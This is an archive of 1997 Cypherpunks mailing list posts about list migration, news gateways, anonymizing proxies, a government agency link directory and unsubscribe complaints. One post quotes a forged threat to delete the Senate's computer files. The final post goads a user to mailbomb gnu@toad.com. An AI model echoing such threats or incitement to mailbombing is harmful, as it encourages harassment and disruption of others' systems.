Nothing in the article suggests that "national interests" are involved.

Martin Minow
minow@apple.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: eickfarm@alpha.shianet.org (eickfarm)
Date: Tue, 18 Feb 1997 10:16:11 -0800 (PST)
To: cypherpunks@toad.com
Subject: Military/Intelligence URL
Message-ID: <9702181815.AA19487@alpha>
MIME-Version: 1.0
Content-Type: text/plain


>Return-Path: <owner-cypherpunks@toad.com>
>Date: Tue, 11 Feb 1997 03:22:32 -0500 
>From: harka@nycmetro.com
>To: cypherpunks@toad.com
>Subject: Military/Intelligence URL
>Sender: owner-cypherpunks@toad.com
>Precedence: bulk
>X-UIDL: b0eef8d389443636415db00da7508d3f
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Here an page, that deals with various intelligence and military
>institutions...
>
>
> In> Subject: GOVT> AJAX, Government and Military Intelligence
>
> In> http://204.180.198.56:80/ajax/ajax.htm
>
> In> United States and International Government Military and Intelligence
> In> Agency Access
>
> In> Certain Locations Or Sections Thereof May Be Closed To
> In> Unauthorized Use.
> In> PLEASE READ ACCESS WARNINGS, IF ANY, AND ABIDE BY THEM.
> In> (If You Prefer A Frameless Environment, Click HERE.)
> In> Last update: 7 FEBRUARY 1997. All accesses verified at
> In> time of inclusion.
>
> In> CIA                  Central Intelligence Agency
> In> DIA                  Defense Intelligence Agency
> In> NRO                  National Reconnaissance Office
> In> NSA                  National Security Agency
> In> SS                   Secret Service
> In> USCSOI               U.S. Customs Service Office of Investigation
>
> In> ATF                  Bureau of Alcohol, Tobacco and Firearms
> In> BOP                  Federal Bureau of Prisons
> In> CID                  U.S. Army Criminal Investigation Command
> In> COURTS               U.S. Federal Courts
> In> FBI                  Federal Bureau of Investigation
> In> FINCEN               Financial Crimes Enforcement Network
> In> FLETC                Federal Law Enforcement Training Center
> In> MARSHALS             U.S. Marshals Service
> In> NIJ                  National Institute of Justice
> In> ACC                  Air Combat Command
> In> AFSPC                Air Force Space Command
> In> BMDO                 Ballistic Missile Defense Organization
> In> DEFENSE              Defense Department
> In> DISA                 Defense Information Systems Agency
> In> DRMS                 Defense Reutilization and Marketing Service
> In> DTIC                 Defense Technical Information Center
> In> JCS                  Joint Chiefs of Staff
> In> NAVWAN               Naval Aviation Systems Team Wide Area Network
> In> NAWCWPNS             Naval Air Warfare Center Weapons Division
> In> NSWC                 Naval Surface Warfare Center
> In> USAFA                United States Air Force Academy
>
> In> AHPCRC               Army High Performance Computing Research Center
> In> ARPA                 Advanced Research Projects Agency
> In> LABLINK              U.S. Department of Defense Laboratory System
> In> NRL                  The Naval Research Laboratory RL
> In> USAF                 Rome Laboratory for C41 Technology
> In> USACIL               U.S. Army Criminal Investigation Laboratory
>
> In> NATGUARD             Army and Air National Guards
> In> USA                  United States Army
> In> USAF                 United States Air Force
> In> USCG                 United States Coast Guard
> In> USMC                 United States Marine Corps
> In> USN                  United States Navy
>
> In> EPA                  U.S. Environmental Protection Agency
> In> FAA                  Federal Aviation Administration Technical Center
> In> FCC                  Federal Communications Commission
> In> FTC                  Federal Trade Commission
> In> NMFS                 National Marine Fisheries Service
> In> NRC                  Nuclear Regulatory Commission
> In> SEC                  Securities and Exchange Commission
> In> CDC                  Centers for Disease Control and Prevention
> In> CENSUS               U.S. Department of Commerce Bureau of the Census
> In> CONGRESS             U.S. House of Representatives
> In> CUSTOMS              U.S. Customs Service
> In> DOE                  U.S. Department of Energy  National Laboratories
> In> & Programs
> In> EXECUTIVE            The White House
> In> FDIC                 Federal Deposit Insurance Corporation
> In> FEMA                 Federal Emergency Management Agency
> In> FMS                  Financial Management Service
> In> GPO                  U.S. Government Printing Office
> In> GSA                  U.S. General Services Administration
> In> HHS                  U.S. Department of Health and Human Services
> In> HPCC                 NOAA High Performance Computing and
> In> Communications IRS                  Internal Revenue Service
> In> JUSTICE              Justice Department
> In> NARA                 National Archives and Records Administration
> In> NASA                 National Aeronautics and Space Administration
> In> NCDC                 National Climatic Data Center
> In> NIMH                 National Institute of Mental Health
> In> NOAA                 National Oceanic & Atmospheric Administration
> In> NSF                  National Science Foundation
> In> NTIS                 National Technical Information Service
> In> SBA                  Small Business Administration
> In> SEL                  Space Environment Laboratory
> In> STATE                State Department
> In> TREASURY             Treasury Department
> In> USCODE               U.S. House of Representatives
> In> Internet Law Library U.S. Code
>
> In> CANADA
> In> CSE                  Communications Security Establishment
> In> CISC                 Criminal Intelligence Service Canada
> In> CSIS                 Canadian Security Intelligence Service
> In> SIRC                 Security Intelligence Review Committee
> In> UNITED KINGDOM       CIM Central Intelligence Machinery
>
> In> CANADA
> In> DJC                  Department of Justice of Canada
> In> FORENSIC             The Forensic Web
> In> RCMP                 Royal Canadian Mounted Police
> In> SGC                  Solicitor General of Canada
>
> In> UNITED NATIONS       UNCPCJ United Nations Crime Prevention &
> In> Criminal Justice
>
> In> CANADA
> In> CFC                  Canadian Forces College
> In> DREO                 Defense Research Establishment, Ottawa
>
> In> UNITED KINGDOM
> In> ARMY                  The British Army
> In> CDA                   Centre for Defence Analysis
> In> DRA                   Defence Research Agency
>
> In> NATO                  North Atlantic Treaty Organization
> In> SACLANT               Supreme Allied Commander, Atlantic
> In> SHAPE                 Supreme Headquarters Allied Powers Europe
>
> In> BECCA                 Business Espionage Controls & Countermeasures
> In> Association
> In> CRYPTOLOG             Internet Guide to Cryptography
> In> DCJFTF                Washington, D.C. Joint Fugitive Task Force
> In> WANTED                "The World's Most Wanted" (Fugitives and
> In> Unsolved Crimes)
>
>
>Ciao
>
>Harka
>
>/*************************************************************/
>/* This user supports FREE SPEECH ONLINE     ...more info at */
>/* and PRIVATE ONLINE COMMUNICATIONS! --> http://www.eff.org */
>/* E-mail: harka@nycmetro.com (PGP-encrypted mail preferred) */
>/* PGP public key available upon request.  [KeyID: 04174301] */
>/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
>/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
>/* May there be peace in this world, may all anger dissolve  */
>/* and may all living beings find the way to happiness...    */
>/*************************************************************/
>
>-----BEGIN PGP SIGNATURE-----
>Version: 2.6.2
>
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>=s4om
>-----END PGP SIGNATURE-----
>
>
>If encryption is outlawed, only outlaws will have encryption...
>
>
>
>
>------------------------------
**********WHY AM I RECEIVING 346 MESSAGES THAT ORIGINATED WITH
CYPHERPUNKS@TOAD.COM?  I AM UNABLE TO USE MY E=MAIL BECAUSE OF THE MESSAGES
THAT HAVE ACCUMULATED.  EVERY SINGLE ONE OF THESE MESSAGES REFERENCES YOUR
ORGANIZATION.  I HAVE NEVER ACCESSED ANYTHING THAT HAD TO DO WITH YOUR
GROUP.  PLEASE ASSIST ME IN REMOVING THE ROUTING OF THESE MESSAGES TO MY
E-MAIL.  OTHERWISE, I WILL BE FORCED TO CANCEL MY SUBSCRIPTION TO THE INTERNET.
THANK YOU.

EICKFARM@SHIANET.ORG





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Tue, 18 Feb 1997 10:44:29 -0800 (PST)
To: alexandr@win.tue.nl
Subject: Re: Address -- Invalid (was Re: message to USSA Senate) (fwd)
Message-ID: <9702181844.AA01919@super.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit

To: alexandr@win.tue.nl, cypherpunks@toad.com, home@collegehill.com
Date: Tue Feb 18 13:49:43 1997

I checked with the people at College Hill Internet by forwarding your 
msg to them to which they replied.

**N.B. - College Hill did my page so I know them to be reputable.

Long story short, they worked on a web page for a particular political 
campaign and, during the process of doing the web consulting, they  
briefly set up an e-mail account for them on their server.

Since then, they have been treated to a regular supply of spam from 
various persons who think that is still the Senator's address.  They've 
received threatening spam (about 200 hundred copies of it) which was 
bounced from them back to senders who in this case weren't even the 
senders, etc. etc. etc.

The headers reflect that they've been forged.  Understandably, College 
Hill is concerned that, those people who might not understand the 
headers that well, will conclude College Hill as being the spammers - 
which could damage their reputation.

Hope this answers (at least part of) your question.

Lynne



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=PtAp
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Tue, 18 Feb 1997 10:53:06 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Constitution and a Right to Privacy
In-Reply-To: <199702181541.HAA06067@toad.com>
Message-ID: <3.0.1.32.19970218135442.006ae0b4@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:33 AM 2/18/97 -0800, you wrote:

:Let's not start this.
:
:Tim wasn't arguing for or against abortion; he made no comments
:about abortion. His comment was that the _argument_ used to "legalize"
:abortion was unconvincing to him.
:
:If we are going to discuss privacy, that's fine.
:It we are going to discuss abortion, there are better fora.
:
:
:-- Marshall
:
:Warning: Objects in calendar are closer than they appear.

Good for you!!!!!

I appreciate your post. However, it smells like a Daleism.
I revel in fora. (Had to think about that.)
Nice sig too.

Alec




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Tue, 18 Feb 1997 10:58:33 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Any more like www.anonymizer.com ??
In-Reply-To: <19970218.073526.2862.2.edgarswank@juno.com>
Message-ID: <0n2Tj3200YUh07k4M0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

edgarswank@juno.com (Edgar W Swank) writes:
> Does anyone have a list of web proxies for anonymous surfing?
> 
> I already know about www.anonymizer.com, and there was a
> "canadianizer" that would alter text to make it more "Canadian",
> but that is now apparently defunct.

There's a Zippifier (inserts Zippy the Pinhead quotes) at:
http://www.metahtml.com/apps/zippy/welcome.mhtml

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

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=gLdy
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: camcc@abraxis.com (Alec)
Date: Tue, 18 Feb 1997 11:03:19 -0800 (PST)
To: "Robert Nadra" <robertn@dm.net.lb>
Subject: Re: Stop sending me your shit
In-Reply-To: <19970218164347.AAA20169@kodakne.dm.net.lb>
Message-ID: <3.0.1.32.19970218140453.006a6a8c@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:38 PM 2/18/97 +0200, you wrote:
:	
:Get me off your list or else ..... . Get me out your fuckin list assholes.

Certainly you learned on your mother's knee that you can get more of what
you want from other people with kindness rather than anger and rudeness.
What did she say about using foul words? Lets think about these things.

You may be in for a long stay here. These folks can be downright nasty
sometimes.

You've got friends here. Let's be nice and keep it that way.

Now what do we say?????? 

Alec 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Tue, 18 Feb 1997 06:18:02 -0800 (PST)
To: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <01IFJH1ONXA88Y4YVV@mbcl.rutgers.edu>
Message-ID: <19970218141819.28530.qmail@taz.nceye.net>
MIME-Version: 1.0
Content-Type: text/plain


E. Allen Smith writes:
 > From:	IN%"reece@taz.nceye.net"  "Bryan Reece" 17-FEB-1997 23:23:10.06
 > 
 > >>   use. However, I do have one problem with this recipe: lack of
 > >>   loop prevention if a news2mail gateway is going in the other direction.
 > 
 > >All the mailing-list hosts are supposed to check for duplicates before
 > >forwarding anything, so this shouldn't do anything worse than have a
 > >few extra copies of each post get discarded, loading the network and
 > >the hosts a bit more.  But posting the list to a widely-distributed
 > 
 > 	Umm... IIRC, the only person who's announced how he's filtering
 > for duplicates is Igor, and he's just checking for messageIDs. Won't
 > those get chunked on going through a mail2news gateway, and thus
 > possibly come back through a news2mail gateway?

My script preserves the Message-ID, assuming that the incoming message
has one.  Other gateways I've seen also appear to preserve Message-ID
lines (or at least messages posted through them appear to have
mail-like ID lines).  

 > The filtering
 > mechanism could be improved via MD5 digests, etcetera (someone's
 > already given a recipe for such; thank you), but even so various
 > mungings could still set up a mailing loop. (Yes, I'm paranoid
 > about those; I may have been reading list-managers for too long and
 > seen too many stories on there.) The sensible place to keep
 > track of possible duplicates is at the gateway; it can
 > certainly filter based on that it (or, for that matter, another
 > known bidirectional gateway) sent a message out.

Not immediately sending a message back to the host that it came from
does look like a good idea (it came from foo.com, so foo.com obviously
has it).  Filtering out other gateways' messages will reduce load at
the possible expense of delay (assuming a smallish network of news
servers that feed each other the list; obviously the message will
flood the majordomo net before it floods the real usenet unless
something is seriously broken).

 > 
 > >newsgroup seems wrong for noise (both to the list itself and to
 > >posters) and delay reasons.
 > 
 > 	Delay reasons being that mail will go to Usenet, go
 > all over the place there, and then get replied to later than if
 > it were just on the mailing list(s)? A potential problem, yes.

I didn't exactly say, but I was comparing a small network of news
servers feeding each other cypherpunks.list to, say,
alt.cypherpunks.list. 

 > But (especially given the options I mentioned below), this
 > would appear to be a matter for individual users to decide
 > by which list they go with and any added control headers.

I'm trying to come up with a way to provide NNTP access (and an
experimental alternative to the net-of-majordomos) that won't offend
anybody too much.  I can filter out messages that the authors don't
want sent out; I'd prefer to deal with what would make the authors
want the messages filtered out instead.

 > Maximum individual sovreignty (sp?).
 > 
 > >>   In regards to your later query about whether people want their postings
 > >>   going to Usenet, might I suggest that this be individual to the given
 > >>   distributed mailing list? In other words, since the recipe is logically
 > >>   going to have to not forward to a gateway messages from other mailing
 > >>   lists (since it's not a good idea to have multiple copies of the same
 > >>   message arriving at the gateway if it can be helped; better to filter
 > >>   it out beforehand),
 > 
 > >It doesn't seem an especially bad idea, since it 
 > 
 > 	Thank you. Were you cut off?

Yes.  Should have read:

It doesn't seem an especially bad idea to send a gateway multiple
copies of the same message, since theextra messages won't increase the
load much but will increase the reliability and decrease the
propagation time compared to a network where there are no duplicates.
The only case where filtering duplicates is certain not to hurt delay
or reliability is when the gateway in question is known to have a copy
of the message already.  Usenet uses the Path header for this; there
doesn't seem to be such a thing in the majordomo net.

 > >>   some of the mailing lists can forward and the
 > >>   others cannot. (One could even determine this behavior on application
 > >>   of the proper X-header, although I never trust various mailing systems
 > >>   to forward such intact.) The same could also be done with gatewaying
 > >>   _from_ Usenet - if the news2mail gateway feeds to whatever individual
 > >>   lists sign up to it and they _don't_ forward such messages to others,
 > >>   people can decide whether or not to receive Usenet postings on
 > >>   alt.cypherpunks.* by which list they subscribe to.
 > 
 > >The code currently running is a perl script that turns typical email
 > >messages into something INN is happy with.  It is probably possible to
 > >get your message rejected by INN if you put obsolete or otherwise
 > >unusual and illegal headers in.  This may be a bug.
 > 
 > 	That would probably depend on: A. if any other circumstances
 > other than deliberately sabotaging your message's translation would
 > also disrupt its chances of getting through seriously, particularly
 > if they weren't something you'd spot; and 

The main way to get a message rejected seems to be using obsolete
news headers on it.  If you don't want your message posted, add a
Posting-Version line to the header.

 > B. if sufficiently bad
 > messages would disrupt INN's operations too much.

No more so than a sufficiently bad news posting that came in over NNTP
(since the mails do turn into news postings over NNTP).







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Tue, 18 Feb 1997 14:33:40 -0800 (PST)
To: cypherpunks@toad.com
Subject: ISP access fee rebuttal
Message-ID: <v02140b0faf2fde130336@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


If you are interested in the on-going debate over ISP access charges, I
sugest you look at a newly published report perpared for the Internet
Access Coalition.  It stomps on the RBOC assertions that dial-in access to
the Net is having a generally negative impact on their telephone networks
from both performance and financial asapects.

http://www2.itic.org/itic/eti_toc.html

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Tue, 18 Feb 1997 11:51:48 -0800 (PST)
To: Marshall Clow <mclow@owl.csusm.edu>
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702181951.OAA12558@relay1.shore.net>
MIME-Version: 1.0
Content-Type: text/plain


      Marshall Clow wrote:

>Let's not start this.... <snip>

>If we are going to discuss privacy, that's fine.
>It we are going to discuss abortion, there are better fora.

          Right, Marshall. I was attempting to respond directly to Tim's
comment, but I too have no desire to let the end of C'punks be yet another
sinkhole Abortion Debate.  Foil at guard.  I'll subside and let any riptide
response roll over me;-).  

        (Jeeze! Anyone else feel like these are the Final Days, like when a
company goes bankrupt, or graduation day or the like??  I hope one of these
C'punkish alternatives will provide an opportunity for some of the same
thoughtful and stimulating engagements that toad.com hosted.)

       Respect to all, pro-choice and pro-life,

                _Vin






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 18 Feb 1997 12:35:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: JSC Security Report
Message-ID: <1.5.4.32.19970218202911.006a1ecc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


"Redefining Security," a 1994 report to the DoD and the CIA by 
The Joint Security Commission, offers bountiful information
on US security strategies, policies, agencies, methodologies, 
and techniques, you name it, with designs for the future.

   http://jya.com/jcs.htm  (454K)

If you ever wanted to talk like the spooks, parrot this dictionary 
of NatSec ebonics.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 18 Feb 1997 14:16:02 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702182215.OAA12076@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:58 PM 2/17/97 -0600, Igor Chudov wrote:
...
>It is a very good objections. I would like readers to speak up and say
>their word for or against forwarding the list messages to
>alt.cypherpunks.  If a significant number of people objects (2-3 is
>enough) I will disable this feature.

As to my two cents, I like the idea, but would ask that the usenet feed have
the scrambled address described by Cynthia H. Brown.
I don't really care to have a box full of "YOU may HAVE JUST WON ONE MILLION
DOLLARS!", if the system described by Mrs. Brown works, I would prefer this.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: alexandr@win.tue.nl (Alexandra Janssen - Raemaekers)
Date: Tue, 18 Feb 1997 07:21:47 -0800 (PST)
To: Cypherpunks@toad.com
Subject: Address -- Invalid (was Re: message to USSA Senate) (fwd)
Message-ID: <199702181522.PAA22356@wsintt05.win.tue.nl>
MIME-Version: 1.0
Content-Type: text/plain


I really don't know what this is all about!!!!
This is one of the messages that I seemed to have sent......
I can give you about 

Apparently-To: vice.president@whitehouse.gov, first.lady@whitehouse.gov,
		Bclinton@Washington.DC, feedback@www.whitehouse.gov,
		Senator_Stevens@stevens.senate.gov, email@murkowski.senate.gov,
		sessions@wrldnet.net, senator@shelby.senate.gov,
		senator@bumpers.senate.gov, info@kyl.senate.gov,
		Senator_McCain@mccain.senate.gov, senator@boxer.senate.gov,
		senator@feinstein.senate.gov, sen_dodd@dodd.senate.gov,
		senator_lieberman@lieberman.senate.gov, senator@biden.senate.gov,
		bob_graham@graham.senate.gov, connie@mack.senate.gov,
		senator_coverdell@coverdell.senate.gov, senator@inouye.senate.gov,
		tom_harkin@harkin.senate.gov, chuck_grassley@grassley.senate.gov,
		larry_craig@craig.senate.gov, dirk_kempthorne@kempthorne.senate.gov,
		senator@moseley-braun.senate.gov, lugar@iquest.net,
		wendell_ford@ford.senate.gov, senator@mcconnell.senate.gov,
		senator@breaux.senate.gov, senator@kennedy.senate.gov,
		john_kerry@kerry.senate.gov, senator@mikulski.senate.gov,
		senator@sarbanes.senate.gov, Olympia@snowe.senate.gov,
		senator@levin.senate.gov, michigan@abraham.senate.gov,
		mail_grams@grams.senate.gov, senator@wellstone.senate.gov,
		john_ashcroft@ashcroft.senate.gov, kit_bond@bond.senate.gov,
		senator@cochran.senate.gov, max@baucus.senate.gov,
		conrad_burns@burns.senate.gov, senator@faircloth.senate.gov,
		jesse_helms@helms.senate.gov, senator@conrad.senate.gov,
		senator@dorgan.senate.gov, email@hagel96.com, bob@kerrey.senate.gov,
		mailbox@gregg.senate.gov, opinion@smith.senate.gov,
		frank_lautenberg@lautenberg.senate.gov, torricel@torricelli.com,
		Senator_Bingaman@bingaman.senate.gov,
		senator_domenici@domenici.senate.gov, senator@bryan.senate.gov,
		senator_reid@reid.senate.gov, senator_al@damato.senate.gov,
		senator@dpm.senate.gov, senator_dewine@dewine.senate.gov,
		senator_glenn@glenn.senate.gov, senator@nickles.senate.gov,
		senator@wyden.senate.gov, senator@santorum.senate.gov,
		senator_specter@specter.senate.gov, senator_chafee@chafee.senate.gov,
		reed@collegehill.com, senator@thurmond.senate.gov,
		senator@hollings.senate.gov, tom_daschle@daschle.senate.gov,
		senator_thompson@thompson.senate.gov, senator_frist@frist.senate.gov,
		senator@hutchison.senate.gov, senator@bennett.senate.gov,
		senator_hatch@hatch.senate.gov, senator_robb@robb.senate.gov,
		senator@warner.senate.gov, senator_leahy@leahy.senate.gov,
		 vermont@jeffords.senate.gov, senator_murray@murray.senate.gov,
		 Senator_Gorton@gorton.senate.gov, russell_feingold@feingold.senate.gov,
		 senator_kohl@kohl.senate.gov, senator_byrd@byrd.senate.gov,
		 senator@rockefeller.senate.gov, mike@enzi.senate.gov,
		 craig@thomas.senate.gov


names who got this message from the gang of cypherpunks. What is 
this ????

Forwarded message:
> From home@collegehill.com Tue Feb 18 15:05:24 1997
> Message-Id: <3.0.32.19970218100100.00731388@pop03.ca.us.ibm.net>
> Precedence: bulk
> X-Sender: chill03@pop03.ca.us.ibm.net
> X-Mailer: Windows Eudora Pro Version 3.0 (32)
> Date: Tue, 18 Feb 1997 10:03:05 -0500
> To: alexandr@win.tue.nl
> From: College Hill Internet <home@collegehill.com>
> Subject: Address -- Invalid (was Re: message to USSA Senate)
> Mime-Version: 1.0
> Content-Type: text/plain; charset="us-ascii"
> 
> At 12:45 AM 2/18/97 PST, you wrote:
> >All files on the Senate's computers will be deleted by our
> >gang of cypherpunks dedicated to the eradication of your systems.
> >
> >

I'm furious! Now I get about 10 messages every 15 minutes of mail delivered
and lots of other trash. Who 's got the courage to admit this crime ?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Tue, 18 Feb 1997 16:45:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Removal from newsgroup listing
In-Reply-To: <33093394.41F3@earthlink.net>
Message-ID: <Pine.3.89.9702181619.A1844-0100000@netcom9>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 17 Feb 1997, Terry L. Davis wrote:

> I'm not certain how I got on the cypherpunks newlist, but it's way over 
> my head.  Please removed terryld@earthlink.com from cypherpunks@toad.com
> Thanks
> 
Another thing the new list needs...verification of subscribe requests.



Zach Babayco 

zachb@netcom.com <-------finger for PGP public key

If you need to know how to set up a mail filter or defend against 
emailbombs, send me a message with the words "get helpfile" (without the 
" marks) in the SUBJECT: header, *NOT THE BODY OF THE MESSAGE!*  I have 
several useful FAQs and documents available.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 18 Feb 1997 14:54:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Stop sending me your shit
Message-ID: <199702182254.OAA12656@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:04 PM 2/18/97 -0500, Alec wrote:
>At 08:38 PM 2/18/97 +0200, you wrote:
>:	
>:Get me off your list or else ..... . Get me out your fuckin list assholes.
>
>Certainly you learned on your mother's knee that you can get more of what
>you want from other people with kindness rather than anger and rudeness.
>What did she say about using foul words? Lets think about these things.
>
>You may be in for a long stay here. These folks can be downright nasty
>sometimes.
>
...
Personally, I just responded to one persons statement, (the one with the
modicum of courtesy) and decided to let this looser languish, (because of
his foul additude).
I think that by this, maybe, he'll learn not to bite the hand of the persons
who he is asking for help from.
It also gives me a none too innocent feeling of graditude to know that this
person will suffer a little longer, all because I decided that I didn't like
him.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Tue, 18 Feb 1997 14:54:23 -0800 (PST)
To: John Young <jya@pipeline.com>
Subject: [noise] Re: JSC Security Report
Message-ID: <199702182254.OAA12663@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:29 PM 2/18/97 -0500, John Young wrote:
>"Redefining Security," a 1994 report to the DoD and the CIA by 
>The Joint Security Commission, offers bountiful information
>on US security strategies, policies, agencies, methodologies, 
>and techniques, you name it, with designs for the future.
>
>   http://jya.com/jcs.htm  (454K)
>
>If you ever wanted to talk like the spooks, parrot this dictionary 
>of NatSec ebonics.
Great, I'll look into it.  I've been meaning to get some info on the like.
You just can't convince someone that you are one of them unless you talk
like them.
And I would like to get all relevant information to any investigations into
my activities faxed to the nearest Kinko's.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ! Drive <drink@aa.net>
Date: Tue, 18 Feb 1997 17:30:45 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Any more like www.anonymizer.com ??
Message-ID: <3.0.32.19691231160000.006a1e14@aa.net>
MIME-Version: 1.0
Content-Type: text/plain


At 01:58 PM 2/18/97 -0500, Jeremiah A Blatz might have said:
>edgarswank@juno.com (Edgar W Swank) writes:
>> Does anyone have a list of web proxies for anonymous surfing?
>> 
>> I already know about www.anonymizer.com, and there was a
>> "canadianizer" that would alter text to make it more "Canadian",
>> but that is now apparently defunct.
>
>There's a Zippifier (inserts Zippy the Pinhead quotes) at:
>http://www.metahtml.com/apps/zippy/welcome.mhtml
>
A proposal and prototype of a different anonymity mechanism can be found at:
  http://www.itd.nrl.navy.mil/ITD/5540/projects/onion-routing/overview.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Tue, 18 Feb 1997 07:36:12 -0800 (PST)
To: Bryan Reece <reece@taz.nceye.net>
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <19970218141819.28530.qmail@taz.nceye.net>
Message-ID: <Pine.NEB.3.95.970218173206.12473L-100000@apb.iafrica.com>
MIME-Version: 1.0
Content-Type: text/plain


On 18 Feb 1997, Bryan Reece wrote:
> Filtering out other gateways' messages will reduce load at
> the possible expense of delay (assuming a smallish network of news
> servers that feed each other the list; obviously the message will
> flood the majordomo net before it floods the real usenet unless
> something is seriously broken).

Why is it obvious that mail propagation will be faster than news
propagation?  News propagation times of small numbers of seconds are not
at all uncommon.

--apb (Alan Barrett)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Tue, 18 Feb 1997 08:27:34 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <v03007800af2f876176ce@[207.167.93.63]>
Message-ID: <Pine.NEB.3.95.970218181653.12473O-100000@apb.iafrica.com>
MIME-Version: 1.0
Content-Type: text/plain


> >Why is it obvious that mail propagation will be faster than news
> >propagation?  News propagation times of small numbers of seconds are not
> >at all uncommon.
> 
> News propagation in seconds to your _local server_, or to _distant_
> servers?

To some (perhaps many, certainly not all) distant servers, provided all
the news servers in the path run appropriate software (designed for low
latency propagation) and have reasonably high bandwidth Internet links. 
Disk to disk delays smaller than 1 second have been measured between news
servers that use software such as nntplink or innfeed to send outgoing
articles immediately.

> The Usenet is thousands of news servers, maybe tens of thousands, and
> news feeds take a while...small articles are mixed in with hundreds of
> megabytes a day of binaries. A percolation process, as opposed to a
> point-to-point process for e-mail. 

Right.  And some of those news links are fast, while others are slow.  If
two sites happen to be connected by fast news links, it's quite possible
for news between those sites to be faster than mail.

--apb (Alan Barrett)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Barrett <apb@iafrica.com>
Date: Tue, 18 Feb 1997 08:52:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anyone have the complete info on CP list alternatives?
In-Reply-To: <v03007800af2f876176ce@[207.167.93.63]>
Message-ID: <Pine.NEB.3.95.970218183557.12473Q-100000@apb.iafrica.com>
MIME-Version: 1.0
Content-Type: text/plain


Bryan Reece wrote:
>> obviously the message will flood the majordomo net before it floods
>> the real usenet unless something is seriously broken).

I replied:
> Why is it obvious that mail propagation will be faster than news
> propagation?  News propagation times of small numbers of seconds are
> not at all uncommon.

Sorry, I misunderstood the earlier message.  I thought that it referred
to news propagation between a small set of hosts versus mail propagation
between the same small set of mail/news hosts, and I did not see why
it was obvious that mail would be faster than news.  But actually the
earlier message refered to news propagation over the whole planet versus
mail propagation between a small set of hosts, in which case of course
news will be slower.

--apb (Alan Barrett)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 18 Feb 1997 17:10:37 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Stop sending me your shit
In-Reply-To: <199702182212.OAA11924@toad.com>
Message-ID: <VDkc3D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Nadra <robertn@dm.net.lb> writes:

> Get me off your list or else ..... . Get me out your fuckin list assholes.

Oe else what?  I bet you don't have the balls to mailbomb gnu@toad.com!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




